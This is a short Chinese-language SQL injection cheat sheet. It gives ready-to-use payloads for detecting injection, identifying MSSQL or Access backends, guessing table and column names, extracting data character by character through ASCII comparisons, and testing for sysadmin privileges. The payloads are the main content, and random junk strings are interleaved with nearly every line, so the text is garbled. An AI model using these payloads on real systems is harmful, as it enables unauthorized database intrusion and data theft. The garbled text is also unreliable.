1.判断是否有注入;and 1=1 ;and 1=2 mF
UsTb]f
2.初步判断是否是mssql ;and user>0 1
1(GCu
<[ u(il
3.注入参数是字符'and [查询条件] and ''=' GVfRy@7n
W|"bV 6d3
4.搜索时没过滤参数的'and [查询条件] and '%25'=' uGHM ]"!)
I:6XM?
5.判断数据库系统 eu":\ks
Z?V vFEt%
;and (select count(*) from sysobjects)>0 mssql <PM.4B@
z, FPhbFn
;and (select count(*) from msysobjects)>0 access 1/&^~'
J#jFX
F\
2cSc
8
B I=57
6.猜数据库 ;and (select Count(*) from [数据库名])>0 !;P[Y"h@r
0d1!Q!PH3
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 |gHdTb1
o{QV'dgu
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 >[:qJ|i%
sB$" mJ
9.(1)猜字段的ascii值(access) _!Pi+l4p/}
m(D-?mhL
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 sH'0utD#Y
IiJ$Ng
(2)猜字段的ascii值(mssql) t=|}?lN<
gZBKe!@a|
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ]7oo`KcQ|
,X;$-.
10.测试权限结构(mssql) ydj*Jy'
g^7zDU&'
DtJ3`Jd
yE(<F2
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- f2&6NC;
)1gT&sU